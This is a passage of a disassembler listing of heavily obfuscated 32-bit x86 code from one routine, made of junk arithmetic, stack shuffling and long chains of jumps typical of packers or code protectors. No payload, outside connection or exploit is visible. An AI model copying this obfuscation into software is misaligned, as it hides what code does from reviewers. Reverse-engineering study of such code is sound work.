loc_5C87ED:				; CODE XREF: sub_5A55E5+2B939j
		pop	esi
		mov	ebp, eax
		mov	eax, [esp+68h+var_68]
		add	esp, 4
		and	ebp, 713E20h
		jmp	loc_5C2E0C
; ---------------------------------------------------------------------------


loc_5C8801:				; CODE XREF: sub_5A55E5+1E2D8j
		push	ecx
		jmp	loc_5D122D
; ---------------------------------------------------------------------------


loc_5C8807:				; CODE XREF: sub_5A55E5+22CBDj
		push	edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		jmp	loc_5D3D85
; ---------------------------------------------------------------------------


loc_5C8815:				; CODE XREF: sub_5A55E5+2A9BAj
		shr	edi, 3
		jmp	loc_5C91EC
; ---------------------------------------------------------------------------


loc_5C881D:				; CODE XREF: sub_5A55E5+26C3Fj
		mov	eax, [esp+0ACh+var_AC]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5CC806
; ---------------------------------------------------------------------------


loc_5C882E:				; CODE XREF: sub_5A55E5+216D0j
		xchg	ebp, ebx
		add	ebx, 43C8399Ah
		push	edi
		mov	edi, 62923924h
		dec	edi
		shr	edi, 6
		jmp	loc_5C650F
; ---------------------------------------------------------------------------


loc_5C8845:				; CODE XREF: sub_5A55E5+1FCD1j
		add	ebx, 4
		xchg	ebx, [esp+9Eh+var_A0+2]
		pop	esp
		xor	ecx, 13AA649Fh
		push	ebp
		mov	ebp, 29A07EFh
		inc	ebp
		add	ebp, 16544EC9h
		and	ebp, 1BA57C82h
		push	edi
		mov	edi, 54297D04h
		or	ebp, edi
		pop	edi
		add	ebp, 0D894F3A3h
		add	edi, ebp
		jmp	loc_5C7CD8
; ---------------------------------------------------------------------------


loc_5C887B:				; CODE XREF: sub_5A55E5+2A7FFj
		mov	edi, [esp+9Eh+var_A0+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		push	ebx
		mov	ebx, 48434191h
		mov	ebp, ebx
		pop	ebx
		neg	ebp
		dec	ebp
		and	ebp, 4D275BF2h
		push	ebx
		jmp	loc_5CE1BA
; ---------------------------------------------------------------------------


loc_5C889F:				; CODE XREF: sub_5A55E5+298D8j
		sub	ecx, 422D9682h
		xor	edi, ecx
		pop	ecx
		and	eax, edi
		pop	edi
		shr	eax, 0Ah
		xor	eax, ecx
		push	1E1Dh
		mov	[esp+0A6h+var_A8+2], eax
		push	3C1Ch
		mov	[esp+0AAh+var_AC+2], edx
		push	[esp+0AAh+var_AC+2]
		mov	eax, [esp+0AEh+var_B0+2]
		add	esp, 4
		jmp	loc_5C0AAA
; ---------------------------------------------------------------------------


loc_5C88CE:				; CODE XREF: sub_5A55E5+25632j
		xchg	cl, ah
		dec	cl
		xchg	cl, ah
		or	ah, 3Fh
		sub	ah, 0F6h
		sub	cl, ah
		pop	eax
		sub	al, 38h
		sub	al, 18h
		add	al, cl
		jmp	loc_5D1556
; ---------------------------------------------------------------------------


loc_5C88E8:				; CODE XREF: sub_5A55E5+214F0j
		add	ecx, 4
		xchg	ecx, [esp+50h+var_50]
		pop	esp
		pop	dword ptr [esp+0]
		jmp	loc_5C1B0E
; ---------------------------------------------------------------------------


loc_5C88FA:				; CODE XREF: sub_5A55E5+234A3j
		add	ecx, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+50h+var_50]
		pop	esp
		mov	[esp+48h+var_4A+2], edx
		jmp	loc_5C7413
; ---------------------------------------------------------------------------


loc_5C8924:				; CODE XREF: sub_5A55E5+2B7CFj
		push	eax
		jmp	loc_5CFEE0
; ---------------------------------------------------------------------------


loc_5C892A:				; CODE XREF: sub_5A55E5+23D27j
		push	eax
		mov	al, dl
		jmp	loc_5C1224
; ---------------------------------------------------------------------------


loc_5C8932:				; CODE XREF: sub_5A55E5+23541j
		pop	edi
		sub	esi, 10ECCAEEh
		add	edx, esi
		pop	esi
		push	59A1h
		mov	[esp+0], edx
		pop	ebx
		mov	edx, [esp+48h+var_4A+2]
		add	esp, 4
		sub	edx, ebx
		pop	ebx
		sub	edx, 0CA71FE3h
		sub	edx, 161906A6h
		sub	edx, 486E4DE6h
		add	edx, eax
		add	edx, 486E4DE6h
		add	edx, 161906A6h
		push	edi
		jmp	loc_5CE65D
; ---------------------------------------------------------------------------


loc_5C8977:				; CODE XREF: sub_5A55E5+1CFA7j
		xor	[esp+0ACh+var_AC], ecx
		jmp	loc_5D3461
; ---------------------------------------------------------------------------


loc_5C897F:				; CODE XREF: sub_5A55E5+223ACj
		mov	[esp+9Eh+var_A0+2], esp
		add	[esp+9Eh+var_A0+2], 4
		jmp	loc_5CA817
; ---------------------------------------------------------------------------


loc_5C898B:				; CODE XREF: sub_5A55E5+2C1BAj
		pop	esi
		inc	ebp
		inc	ebp
		push	ebx
		mov	ebx, 8000F584h
		jmp	loc_5C1DC2
; ---------------------------------------------------------------------------


loc_5C8999:				; CODE XREF: sub_5A55E5+25DC0j
		push	1BECh
		mov	[esp+0A2h+var_A4+2], ebx
		mov	bl, dl
		push	edx
		mov	dl, bl
		mov	[edi+eax*4], dl
		jmp	loc_5C2902
; ---------------------------------------------------------------------------


loc_5C89AE:				; CODE XREF: sub_5A55E5+2CDE1j
		add	edx, 5AAB0D90h
		and	edx, 26151B3Dh
		sub	edx, 2000A39h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp+0A2h+var_A4+2]
		pop	esp
		push	ecx
		jmp	loc_5D25B1
; ---------------------------------------------------------------------------


loc_5C89D0:				; CODE XREF: sub_5A55E5+20907j
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+8Ch+var_8C], eax
		sub	esp, 4
		jmp	loc_5C33BD
; ---------------------------------------------------------------------------


loc_5C89E1:				; CODE XREF: sub_5A55E5+258F6j
		pop	ecx
		jmp	loc_5C59A3
; ---------------------------------------------------------------------------


loc_5C89E7:				; CODE XREF: sub_5A55E5+1F4D3j
		pop	edx
		jmp	loc_5C9ED1
; ---------------------------------------------------------------------------


loc_5C89ED:				; CODE XREF: sub_5A55E5+2CA01j
		push	508Ah
		mov	[esp+92h+var_94+2], ebx
		push	ecx
		push	ebx
		mov	bl, 0E1h
		dec	bl
		sub	bl, 1
		add	bl, 4Ch
		jmp	loc_5C5852
; ---------------------------------------------------------------------------


loc_5C8A06:				; CODE XREF: sub_5A55E5+248EDj
		mov	edx, esp
		add	edx, 4
		jmp	loc_5D1EE7
; ---------------------------------------------------------------------------


loc_5C8A13:				; CODE XREF: sub_5A55E5+21906j
		add	ebx, 4
		xor	ebx, [esp+50h+var_50]
		jmp	loc_5D325A
; ---------------------------------------------------------------------------


loc_5C8A1E:				; CODE XREF: sub_5A55E5+220E6j
		add	edx, ecx
		sub	esp, 4
		mov	[esp+94h+var_94], esi
		jmp	loc_5C1D63
; ---------------------------------------------------------------------------


loc_5C8A2B:				; CODE XREF: sub_5A55E5+2B7ECj
		push	esi
		push	214B21AEh
		push	[esp+9Ch+var_9C]
		pop	esi
		add	esp, 4
		jmp	loc_5C729F
; ---------------------------------------------------------------------------


loc_5C8A3D:				; CODE XREF: sub_5A55E5+21A81j
		mov	eax, ecx
		mov	ecx, [esp+0A6h+var_A8+2]
		add	esp, 4
		xor	[esp+0A2h+var_A0+2], eax
		push	[esp+0A2h+var_A4+2]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+0A6h+var_A8+2]
		xor	[esp+0A6h+var_A8+2], edi
		xor	edi, [esp+0A6h+var_A8+2]
		pop	esp
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 507A2FBEh
		jmp	loc_5CFCFE
; ---------------------------------------------------------------------------
		push	[esp+9Eh+var_A0+2]
		push	[esp+0A2h+var_A4+2]
		push	[esp+0A6h+var_A8+2]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5C88FA
; ---------------------------------------------------------------------------


loc_5C8A8D:				; CODE XREF: sub_5A55E5+2EA7Dj
		mov	eax, 632222CCh
		mov	edx, eax
		jmp	loc_5C263B
; ---------------------------------------------------------------------------


loc_5C8A99:				; CODE XREF: sub_5A55E5+24900j
		sub	esi, 4
		xchg	esi, [esp+0A2h+var_A4+2]
		pop	esp
		mov	[esp+9Eh+var_A0+2], edi
		push	[esp+9Eh+var_9C+2]
		jmp	loc_5C6266
; ---------------------------------------------------------------------------


loc_5C8AAF:				; CODE XREF: sub_5A55E5+24C72j
		add	ebx, 23BC35D9h
		jmp	loc_5C029B
; ---------------------------------------------------------------------------


loc_5C8ABA:				; CODE XREF: sub_5A55E5+20485j
		sub	ecx, 4AB03BDAh
		pop	ebx
		push	edi
		mov	edi, 3B080D2Ch
		or	edi, 315C4006h
		sub	edi, 2E4B7D06h
		inc	edi
		shr	edi, 6
		add	edi, 1F5C097Ch
		jmp	loc_5CB644
; ---------------------------------------------------------------------------


loc_5C8AE2:				; CODE XREF: sub_5A55E5+1CB7Cj
		push	eax
		jmp	loc_5C0745
; ---------------------------------------------------------------------------


loc_5C8AE8:				; CODE XREF: sub_5A55E5+1D18Bj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5CFBC8
; ---------------------------------------------------------------------------


loc_5C8AF8:				; CODE XREF: sub_5A55E5+25928j
		mov	[esp+68h+var_68], esp
		jmp	loc_5C843A
; ---------------------------------------------------------------------------


loc_5C8B00:				; CODE XREF: sub_5A55E5+1F25Cj
		add	edx, ebx
		pop	ebx
		add	ebx, edx
		jmp	loc_5D1260
; ---------------------------------------------------------------------------


loc_5C8B0A:				; CODE XREF: sub_5A55E5+21018j
		dec	edx
		and	edx, 0F429A4h
		and	edx, 4E1C346Ah
		sub	edx, 47250DB0h
		push	esi
		push	edi
		mov	edi, 6FC42626h
		mov	esi, edi
		jmp	loc_5C8932
; ---------------------------------------------------------------------------


loc_5C8B2B:				; CODE XREF: sub_5A55E5+1DEF8j
		push	7BEAh
		mov	[esp+0A8h+var_A8], edx
		mov	edx, 65933DA8h
		or	edx, 53EF20CAh
		add	edx, 66A804D3h
		neg	edx
		shr	edx, 8
		add	edx, 7421F1ACh
		xor	eax, edx
		pop	edx
		push	edi
		mov	edi, 84304ABh
		add	eax, edi
		jmp	loc_5CE49D
; ---------------------------------------------------------------------------


loc_5C8B5F:				; CODE XREF: sub_5A55E5+22E0Fj
		pop	edi
		push	edi
		mov	edi, 5EED377Ah
		sub	edx, edi
		pop	edi
		add	esi, 19217369h
		jmp	loc_5C4E26
; ---------------------------------------------------------------------------
		mov	eax, [esp+5Ch+var_5C]
		push	ebp
		mov	ebp, esp
		push	6C68h
		mov	[esp+64h+var_64], edi
		jmp	loc_5CFD7E
; ---------------------------------------------------------------------------


loc_5C8B87:				; CODE XREF: sub_5A55E5+26D3Ej
		add	edx, edi
		pop	edi
		push	ecx
		push	edx
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	edx, ecx
		jmp	loc_5C54B6
; ---------------------------------------------------------------------------


loc_5C8B9B:				; CODE XREF: sub_5A55E5+242C1j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 6C19305Ch
		shl	edi, 8
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		shr	edi, 4
		jmp	loc_5D2EEA
; ---------------------------------------------------------------------------


loc_5C8BBB:				; CODE XREF: sub_5A55E5+1FE6Fj
		mov	[esp+0AEh+var_B0+2], esi
		push	[esp+0AEh+var_AC+2]
		mov	esi, [esp+0B2h+var_B4+2]
		add	esp, 4
		pop	[esp+0AEh+var_B0+2]
		mov	esp, [esp+0AAh+var_AC+2]
		mov	[esp+0AAh+var_AC+2], esi
		jmp	loc_5C4638
; ---------------------------------------------------------------------------


loc_5C8BD9:				; CODE XREF: sub_5A55E5+1ECEAj
		and	esi, eax
		pop	eax
		add	esi, 0C5D4269Dh
		jmp	loc_5CF601
; ---------------------------------------------------------------------------


loc_5C8BE7:				; CODE XREF: sub_5A55E5+22A37j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+88h+var_88]
		pop	esp
		add	bl, 24h
		jmp	loc_5C9D4B
; ---------------------------------------------------------------------------


loc_5C8C02:				; CODE XREF: sub_5A55E5+2BDA5j
		mov	esp, [esp+84h+var_84]
		add	ebx, 4
		jmp	loc_5D2474
; ---------------------------------------------------------------------------


loc_5C8C10:				; CODE XREF: sub_5A55E5+28844j
		mov	fs:[edx], ax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C8C19:				; CODE XREF: sub_5A55E5+1BFAFj
		shl	edx, 7
		jmp	loc_5C6EFF
; ---------------------------------------------------------------------------


loc_5C8C21:				; CODE XREF: sub_5A55E5+25D59j
		mov	ecx, esp
		push	eax
		push	7044h
		mov	[esp+0], ebx
		jmp	loc_5C4A49
; ---------------------------------------------------------------------------


loc_5C8C31:				; CODE XREF: sub_5A55E5+27A32j
		push	esi
		mov	esi, 4
		sub	ecx, esi
		mov	esi, [esp+50h+var_50]
		add	esp, 4
		jmp	loc_5BF9FD
; ---------------------------------------------------------------------------


loc_5C8C47:				; CODE XREF: sub_5A55E5+1F830j
		add	edx, 4
		push	ebp
		push	edi
		push	ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		jmp	loc_5C5415
; ---------------------------------------------------------------------------


loc_5C8C5D:				; CODE XREF: sub_5A55E5+27BA6j
		push	esi
		push	0DBE62F85h
		jmp	loc_5D381B
; ---------------------------------------------------------------------------


loc_5C8C68:				; CODE XREF: sub_5A55E5+1D62Fj
		mov	ecx, [esp+92h+var_94+2]
		jmp	loc_5D1785
; ---------------------------------------------------------------------------


loc_5C8C70:				; CODE XREF: sub_5A55E5+2A5B2j
		neg	ebp
		xor	ebp, 7A050561h
		shl	ebp, 6
		or	ebp, 1F9D67ECh
		jmp	loc_5CE17E
; ---------------------------------------------------------------------------


loc_5C8C86:				; CODE XREF: sub_5A55E5+21A78j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0AEh+var_B0+2]
		pop	esp
		mov	[esp+0AAh+var_AC+2], ecx
		mov	ecx, 52684A31h
		push	ebx
		push	edi
		mov	edi, 2E2717D6h
		mov	ebx, edi
		pop	edi
		add	ecx, ebx
		pop	ebx
		shl	ecx, 2
		dec	ecx
		xor	ecx, 23D8819h
		push	0CAEh
		mov	[esp+0AEh+var_B0+2], ecx
		jmp	loc_5C4540
; ---------------------------------------------------------------------------


loc_5C8CC2:				; CODE XREF: sub_5A55E5+27A8Bj
		push	2946h
		mov	[esp+0B2h+var_B4+2], esi
		mov	esi, 405B1B26h
		sub	esi, 405B1B22h
		jmp	loc_5C1949
; ---------------------------------------------------------------------------


loc_5C8CDA:				; CODE XREF: sub_5A55E5+23FCEj
		sub	edi, 0FFFFFFFFh
		shr	edi, 8
		xor	edi, 3DB15F73h
		jmp	loc_5CB1C5
; ---------------------------------------------------------------------------


loc_5C8CEE:				; CODE XREF: sub_5A55E5+1B7CFj
		mov	[esp+0ACh+var_AC], edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 78450DAEh
		jmp	loc_5D3B8E
; ---------------------------------------------------------------------------


loc_5C8CFE:				; CODE XREF: sub_5A55E5+2B1F0j
		push	[esp+0B0h+var_B0]
		push	[esp+0B4h+var_B4]
		jmp	loc_5C7BA8
; ---------------------------------------------------------------------------


loc_5C8D09:				; CODE XREF: sub_5A55E5+1FB39j
		pop	esp
		mov	[esp+8Eh+var_90+2], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5D138F
; ---------------------------------------------------------------------------


loc_5C8D1A:				; CODE XREF: sub_5A55E5+2CB49j
		shl	ebp, 1
		dec	ebp
		and	ebp, 2BA761A3h
		jmp	loc_5CB5E3
; ---------------------------------------------------------------------------


loc_5C8D28:				; CODE XREF: sub_5A55E5+299B9j
		add	bl, al
		jmp	loc_5CF272
; ---------------------------------------------------------------------------


loc_5C8D2F:				; CODE XREF: sub_5A55E5+222A7j
		sub	eax, ebp
		add	eax, 7C2F00F3h
		jmp	loc_5D1FFC
; ---------------------------------------------------------------------------


loc_5C8D3B:				; CODE XREF: sub_5A55E5+295E9j
		mov	edx, 70508EEh
		xor	[esp+96h+var_94+2], edx
		pop	edx
		jmp	loc_5C85AB
; ---------------------------------------------------------------------------


loc_5C8D4A:				; CODE XREF: sub_5A55E5+24531j
		pop	ecx
		add	esi, ecx
		push	[esp+8Eh+var_90+2]
		mov	ecx, [esp+92h+var_94+2]
		add	esp, 4
		add	esp, 4
		push	15F2h
		mov	[esp+8Eh+var_90+2], edi
		mov	edi, 4
		jmp	loc_5C11DA
; ---------------------------------------------------------------------------


loc_5C8D71:				; CODE XREF: sub_5A55E5+27DACj
		pop	ebx
		push	22B6h
		mov	[esp+8Eh+var_90+2], esi
		jmp	loc_5D28B0
; ---------------------------------------------------------------------------


loc_5C8D7F:				; CODE XREF: sub_5A55E5+1C9DFj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+98h+var_98]
		pop	esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xor	ecx, [esp+94h+var_94]
		xor	[esp+94h+var_94], ecx
		xor	ecx, [esp+94h+var_94]
		pop	esp
		jmp	loc_5D0C91
; ---------------------------------------------------------------------------


loc_5C8DA4:				; CODE XREF: sub_5A55E5+2DE4Cj
		sub	esp, 4
		mov	[esp+94h+var_94], ecx
		mov	ecx, 68FA54A9h
		xor	ebx, ecx
		pop	ecx
		add	ebx, 77C6621Bh
		push	2A01h
		mov	[esp+94h+var_94], eax
		mov	eax, 428535B1h
		jmp	loc_5C734B
; ---------------------------------------------------------------------------


loc_5C8DCD:				; CODE XREF: sub_5A55E5+1DB61j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+9Ch+var_9C]
		pop	esp
		mov	[esp+98h+var_98], ebp
		push	ecx
		mov	ecx, 9DC152Ch
		push	398Bh
		mov	[esp+0A0h+var_A0], ecx
		pop	ebp
		jmp	loc_5C1A57
; ---------------------------------------------------------------------------


loc_5C8DF6:				; CODE XREF: sub_5A55E5+24B5Bj
		push	6C95h
		mov	[esp+0A0h+var_A0], esp
		add	[esp+0A0h+var_A0], 4
		mov	ecx, [esp+0A0h+var_A0]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp+9Ch+var_9C]
		mov	esp, [esp+9Ch+var_9C]
		jmp	loc_5CD594
; ---------------------------------------------------------------------------


loc_5C8E25:				; CODE XREF: sub_5A55E5+1CE94j
		push	ecx
		mov	ecx, 51AB1616h
		shl	ecx, 6
		jmp	loc_5CE0EB
; ---------------------------------------------------------------------------


loc_5C8E33:				; CODE XREF: sub_5A55E5+289F9j
		add	eax, ebp
		push	edx
		mov	edx, 60A7099Ch
		add	edx, 18B67AF8h
		shl	edx, 6
		add	edx, 1
		xor	edx, 54BF5548h
		jmp	loc_5C05DC
; ---------------------------------------------------------------------------


loc_5C8E55:				; CODE XREF: sub_5A55E5+24D97j
		mov	esi, [esp+4Eh+var_50+2]
		add	esp, 4
		jmp	loc_5D3225
; ---------------------------------------------------------------------------


loc_5C8E63:				; CODE XREF: sub_5A55E5+259A0j
		push	11AFh
		jmp	loc_5CB367
; ---------------------------------------------------------------------------


loc_5C8E6D:				; CODE XREF: sub_5A55E5+2271Bj
		pop	ebx
		jmp	loc_5C2D30
; ---------------------------------------------------------------------------


loc_5C8E73:				; CODE XREF: sub_5A55E5+24BB2j
		neg	ch
		sub	ch, 9Ah
		shr	ch, 5
		dec	ch
		add	ch, 0Ah
		sub	bl, ch
		pop	ecx
		sub	bl, al
		add	bl, 0Dh
		mov	eax, [esp+90h+var_90]
		jmp	loc_5C370E
; ---------------------------------------------------------------------------


loc_5C8E90:				; CODE XREF: sub_5A55E5+226F4j
		add	edi, ecx
		sub	edi, 35427127h
		push	[esp+0A8h+var_A8]
		pop	ecx
		add	esp, 4
		xor	edi, 0AD0B5F9Fh
		jmp	loc_5CC56A
; ---------------------------------------------------------------------------


loc_5C8EAD:				; CODE XREF: sub_5A55E5+2923Cj
		sub	cl, bh
		pop	ebx
		add	al, 0F5h
		add	al, cl
		sub	al, 0F5h
		jmp	loc_5CC875
; ---------------------------------------------------------------------------


loc_5C8EBB:				; CODE XREF: sub_5A55E5+1D32Bj
		pop	esi
		push	ebp
		push	2429h
		jmp	loc_5C8F01
; ---------------------------------------------------------------------------


loc_5C8EC7:				; CODE XREF: sub_5A55E5+224A7j
		mov	bx, word ptr [esp+0CCh+var_CC]
		push	6465h
		jmp	loc_5C71E5
; ---------------------------------------------------------------------------


loc_5C8ED5:				; CODE XREF: sub_5A55E5+1ACB1j
		add	ecx, edi
		sub	ecx, 73CE5F6Fh
		sub	ecx, 79204FF2h
		push	ebx
		jmp	loc_5CAEE7
; ---------------------------------------------------------------------------


loc_5C8EE9:				; CODE XREF: sub_5A55E5+1B3C1j
		xchg	esi, [esp+90h+var_90]
		pop	esp
		xchg	edx, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		push	3EE6h
		mov	[esp+90h+var_90], ecx
		push	esp
		jmp	loc_5C2421
; ---------------------------------------------------------------------------


loc_5C8F01:				; CODE XREF: sub_5A55E5+238DDj
		mov	[esp+96h+var_98+2], esi
		push	2147590h
		pop	esi
		not	esi
		add	esi, 2F4700D8h
		xor	esi, 979B0E6h
		jmp	loc_5C4E06
; ---------------------------------------------------------------------------


loc_5C8F1D:				; CODE XREF: sub_5A55E5+22B0Bj
		push	ecx
		mov	ecx, 61F603CBh
		jmp	loc_5D2A4E
; ---------------------------------------------------------------------------


loc_5C8F28:				; CODE XREF: sub_5A55E5+1D7DBj
		xor	ebp, [esp+78h+var_78]
		xor	[esp+78h+var_78], ebp
		xor	ebp, [esp+78h+var_78]
		jmp	loc_5CDA08
; ---------------------------------------------------------------------------


loc_5C8F36:				; CODE XREF: sub_5A55E5+1CC3Cj
		add	ebx, ecx
		push	[esp+5Ah+var_5C+2]
		mov	ecx, [esp+5Eh+var_60+2]
		add	esp, 4
		add	esp, 4
		sub	ebx, 2
		push	32CAh
		jmp	loc_5D2AD8
; ---------------------------------------------------------------------------


loc_5C8F54:				; CODE XREF: sub_5A55E5+2621Dj
		mov	edx, 4AB37FACh
		xor	edx, 7EA54C9h
		not	edx
		jmp	loc_5D1850
; ---------------------------------------------------------------------------


loc_5C8F66:				; CODE XREF: sub_5A55E5+20EF9j
		mov	edx, [esp+0A6h+var_A8+2]
		add	esp, 4
		push	2F3Dh
		mov	[esp+0A6h+var_A8+2], ebx
		mov	bl, 2Ch
		push	eax
		jmp	loc_5C75D0
; ---------------------------------------------------------------------------


loc_5C8F7F:				; CODE XREF: sub_5A55E5+208A7j
		pop	[esp+92h+var_94+2]
		pop	esp
		shr	ecx, 0Ah
		push	78ECh
		jmp	loc_5CD0FC
; ---------------------------------------------------------------------------


loc_5C8F90:				; CODE XREF: sub_5A55E5+2B6E8j
		sub	esi, 74E60EACh
		add	esi, edi
		jmp	loc_5C50B4
; ---------------------------------------------------------------------------


loc_5C8F9D:				; CODE XREF: sub_5A55E5+2A211j
		mov	ecx, [esp+8Eh+var_90+2]
		add	esp, 4
		add	[esp+8Ah+var_8C+2], eax
		add	[esp+8Ah+var_8C+2], 5AFA2550h
		sub	[esp+8Ah+var_8C+2], 1B797E9Bh
		push	4E9Eh
		mov	[esp+8Eh+var_90+2], ebp
		push	eax
		jmp	loc_5C407F
; ---------------------------------------------------------------------------


loc_5C8FC2:				; CODE XREF: sub_5A55E5+2B86Cj
		pop	edx
		sub	eax, esi
		pop	esi
		add	edx, 29A6379Dh
		add	edx, eax
		sub	edx, 29A6379Dh
		mov	eax, [esp+8Ah+var_8C+2]
		add	esp, 4
		jmp	loc_5C266B
; ---------------------------------------------------------------------------


loc_5C8FE2:				; CODE XREF: sub_5A55E5+1E2DEj
		push	ebx
		mov	ebx, 2
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+9Ch+var_9C]
		mov	esp, [esp+9Ch+var_9C]
		div	cx
		push	small 55B7h
		mov	word ptr [esp+9Eh+var_A0+2], dx
		push	ax
		pushf
		jmp	loc_5CC4F0
; ---------------------------------------------------------------------------


loc_5C9004:				; CODE XREF: sub_5A55E5+26E2Ej
		push	5AF6h
		mov	[esp+0A8h+var_A8], edi
		mov	eax, [esp+0A8h+var_A8]
		add	esp, 4
		mov	edi, [esp+0A4h+var_A4]
		push	6F79h
		mov	[esp+0A8h+var_A8], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0A8h+var_A8]
		jmp	loc_5CA15D
; ---------------------------------------------------------------------------


loc_5C9033:				; CODE XREF: sub_5A55E5+21506j
		xor	ebx, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], ebx
		xor	ebx, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		bt	word ptr [esp+48h+var_4A+2], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C904A:				; CODE XREF: sub_5A55E5+229C5j
		pop	esp
		sar	[esp+90h+var_90], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C9054:				; CODE XREF: sub_5A55E5+2D498j
		add	edi, 4
		xchg	edi, [esp+94h+var_94]
		pop	esp
		push	42DEh
		mov	[esp+94h+var_94], eax
		push	652h
		mov	[esp+98h+var_98], edx
		jmp	loc_5C5285
; ---------------------------------------------------------------------------


loc_5C9070:				; CODE XREF: sub_5A55E5+27A78j
		pop	eax
		shr	edi, 6
		jmp	loc_5C4895
; ---------------------------------------------------------------------------
		push	2D10h
		jmp	loc_5CA29D
; ---------------------------------------------------------------------------
		push	[esp+98h+var_98]
		jmp	loc_5C7497
; ---------------------------------------------------------------------------


loc_5C908B:				; CODE XREF: sub_5A55E5+2D188j
		sub	ecx, 4
		xchg	ecx, [esp+9Ch+var_9C]
		jmp	loc_5CAE58
; ---------------------------------------------------------------------------


loc_5C9096:				; CODE XREF: sub_5A55E5+21DD0j
		mov	edx, 1
		sub	ecx, 251574FFh
		add	ecx, edx
		add	ecx, 251574FFh
		mov	edx, [esp+7Ch+var_7C]
		add	esp, 4
		jmp	loc_5CD4EF
; ---------------------------------------------------------------------------
		lodsw
		jmp	loc_5C35E4
; ---------------------------------------------------------------------------


loc_5C90BB:				; CODE XREF: sub_5A55E5+1E42Ej
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], ebx
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], eax
		mov	ah, 0E2h
		jmp	loc_5C2FA8
; ---------------------------------------------------------------------------


loc_5C90D4:				; CODE XREF: sub_5A55E5+2933Fj
		sub	esp, 4
		mov	[esp+0A6h+var_A8+2], esp
		add	[esp+0A6h+var_A8+2], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_5C444E
; ---------------------------------------------------------------------------


loc_5C90ED:				; CODE XREF: sub_5A55E5+1BECEj
		or	esi, 20C1357Dh
		neg	esi
		shr	esi, 7
		jmp	loc_5D34B5
; ---------------------------------------------------------------------------


loc_5C90FD:				; CODE XREF: sub_5A55E5+1BD0Dj
		add	ebx, 5B696CF9h
		add	ebx, edi
		jmp	loc_5D1B11
; ---------------------------------------------------------------------------


loc_5C910A:				; CODE XREF: sub_5A55E5+1A3C7j
		xor	edx, 604B78E8h
		xor	ecx, edx
		pop	edx
		sub	eax, ecx
		jmp	loc_5C170A
; ---------------------------------------------------------------------------


loc_5C911A:				; CODE XREF: sub_5A55E5+1B7C4j
		xor	ecx, 325D74CCh
		shr	ecx, 5
		not	ecx
		push	ecx
		jmp	loc_5C1468
; ---------------------------------------------------------------------------


loc_5C912B:				; CODE XREF: sub_5A55E5+293E2j
		xchg	esi, [esp+0ACh+var_AC]
		pop	esp
		push	edx
		jmp	loc_5C0AF9
; ---------------------------------------------------------------------------


loc_5C9135:				; CODE XREF: sub_5A55E5+1B152j
		mov	ecx, [esp+78h+var_78]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5D294D
; ---------------------------------------------------------------------------


loc_5C9146:				; CODE XREF: sub_5A55E5+1BDEAj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C914B:				; CODE XREF: sub_5A55E5+26D5Bj
		push	esp
		pop	edx
		jmp	loc_5C818C
; ---------------------------------------------------------------------------


loc_5C9152:				; CODE XREF: sub_5A55E5+1B1D0j
		mov	ecx, 2AF74CF6h
		and	ecx, 22D67653h
		and	ecx, 441E55D3h
		shl	ecx, 2
		dec	ecx
		jmp	loc_5D3FA5
; ---------------------------------------------------------------------------


loc_5C916C:				; CODE XREF: sub_5A55E5+2DB00j
		sub	edi, 6A93554Dh
		shr	edi, 7
		shr	edi, 8
		sub	edi, 8F95EADBh
		add	eax, edi
		mov	edi, [esp+8Ch+var_8C]
		add	esp, 4
		add	eax, edi
		sub	eax, 706A6E24h
		sub	eax, 36E56857h
		jmp	loc_5D22A0
; ---------------------------------------------------------------------------


loc_5C919A:				; CODE XREF: sub_5A55E5+1B9A5j
		mov	ebx, 1F8C4C7Ch
		shr	ebx, 2
		add	ebx, 0F81CECE5h
		jmp	loc_5C4EEA
; ---------------------------------------------------------------------------


loc_5C91AD:				; CODE XREF: sub_5A55E5+1B665j
		mov	[esp+9Ah+var_9C+2], eax
		jmp	loc_5D121F
; ---------------------------------------------------------------------------


loc_5C91B5:				; CODE XREF: sub_5A55E5+2DD5Aj
		add	ebx, ecx
		jmp	loc_5C7A2E
; ---------------------------------------------------------------------------


